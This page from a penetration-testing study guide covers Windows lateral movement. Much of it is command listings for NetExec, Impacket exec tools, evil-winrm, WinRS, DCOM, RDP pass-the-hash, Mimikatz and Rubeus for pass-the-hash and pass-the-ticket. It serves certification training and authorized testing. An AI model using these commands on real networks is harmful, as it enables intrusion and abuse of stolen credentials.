9.6.5 Check which other hosts your current identity can access Lateral Movement

← Stage index | Identity transitions | Pivoting | AD cheatsheet | Strategy map | Study methods: Check which other hosts your current identity can access

Selection rule: credential type → accepted authentication protocol → reachable service → service-specific authorization → execution/session effect.

Exit: verify the destination hostname, represented identity, token/rights and network state; then re-enumerate credentials, domain relationships, sessions and routes.

9.6.5.1 Choose by credential and service

9.6.5.2 Verify the remote service is reachable from your actual source Preflight from the actual source

Directly routed source:

nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

9.6.5.3 Validate authentication separately from execution

NetExec can classify a selected SMB credential:

9.6.5.3.1 Domain password

# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

9.6.5.3.2 Domain NT hash

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

9.6.5.3.3 Target-local account

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

9.6.5.3.4 Prove only share access

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

For one justified execution proof:

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

winrs /r:TARGET_HOST "cmd /c hostname & whoami"

Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

command -v xfreerdp3 || command -v xfreerdp

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

9.6.5.8 Pass-the-Hash, Overpass-the-Hash and Pass-the-Ticket

9.6.5.8.1 Authenticate with an NT hash where the service supports it Pass-the-Hash

NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

9.6.5.8.2 Obtain a Kerberos ticket using an available account key Overpass-the-Hash / key-to-ticket

Mimikatz network-credential context:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

Rubeus TGT request:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

AES alternative:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

Trigger a Kerberos service request with the hostname, then inspect:

dir \\TARGET_HOST\C$
klist

9.6.5.8.3 Authenticate with an available ticket in the correct logon context Pass-the-Ticket

Windows:

Rubeus.exe ptt /ticket:ticket.kirbi
klist

kerberos::ptt ticket.kirbi

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

9.6.5.9 Resolve account scope and remote token restrictions Local versus domain identity and remote UAC

DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Common failure pattern:

1. a local account authenticates over SMB;
2. Windows issues a filtered remote token;
3. ADMIN$, SCM or WMI administrative operations fail.

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

9.6.5.10 Diagnose remote execution without visible output or onward access Output channels, session 0 and double hop

Remote process creation, stdout retrieval and an interactive shell are separate states:

AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

• PsExec returns named-pipe I/O through its service.
• WMIExec normally redirects output to an SMB share.
• SMBExec redirects command output while repeatedly creating services.
• ATExec writes output under ADMIN$\Temp.
• Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
• WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
• WinRM creates a remote shell/runspace and returns structured or text output.

A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.

9.6.5.11 Choose the next check from the failure you observed Failure router

9.6.5.12 Verify the new host and identity, then re-enumerate After movement

hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

Re-enumerate:

1. local privilege and accessible credential sources;
2. domain groups, ACLs, shares and host rights under the new identity;
3. logged-on sessions and service accounts;
4. interfaces, routes, DNS, listeners and internal reachability;
5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

9.6.5.13 Tooling for this section

Package names vary: current Kali-style Impacket commands commonly use the impacket- prefix, and FreeRDP 3 packages may expose xfreerdp3 while older packages use xfreerdp. Inspect local -h output before use.

# Prompts for the accepted identity's password
winexe -U 'DOMAIN/USER' //TARGET 'cmd.exe /c whoami'

9.6.5.15 Sources

• Supplied PEN-200, Chapter 24 pp786–804 for WMI/CIM, WinRS/WinRM, PsExec, PtH, Overpass-the-Hash, Pass-the-Ticket and DCOM.
• OffSec OSCP+ Body of Knowledge
• Execute through a reachable service-control interface with administrative rights, smbexec, wmiexec, atexec and dcomexec
• NetExec command execution and local authentication
• Microsoft WinRS, Open a remote command session through verified WinRM rights, CIM DCOM options
• Microsoft remote UAC behavior, Administrator Protection and Remote Credential Guard/Restricted Admin
• Open a remote command session through verified WinRM rights and FreeRDP command-line source
• getSH Active Directory route, source snapshot e1f62dd
• Hexdump Active Directory module and consolidated cheatsheet. The live AD module remains a TODO; only its concise RDP/SMB cues were used and independently checked.